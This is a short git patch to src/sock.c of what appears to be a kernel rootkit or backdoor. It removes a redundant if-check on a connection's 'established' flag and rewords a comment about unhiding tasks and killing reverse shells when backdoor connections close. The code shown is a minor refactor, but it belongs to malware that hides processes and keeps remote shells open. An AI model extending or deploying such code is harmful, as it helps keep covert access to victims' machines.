From 852529a61cefa35cd82114616fb34d71646cd366 Mon Sep 17 00:00:00 2001 From: chash Date: Sat, 30 Sep 2023 22:16:18 +0100 Subject: [PATCH] Remove pointless if --- src/sock.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/src/sock.c b/src/sock.c index 701925b..e60ec65 100644 --- a/src/sock.c +++ b/src/sock.c @@ -324,12 +324,10 @@ bool kv_bd_established(__be32 *daddr, int dport, bool established) { * Make sure to mark established only once per-connection so * they will not loose state. * This will make internal references to be kept until - * connections are closed by clients, when tasks will be unhidden, data - * freed and the reverse shell(s) killed. + * connections are closed by clients, when tasks are revealed, data + * freed and reverse shell(s) killed. */ - if (!node->established) { - node->established = established; - } + node->established = established; rc = true; break;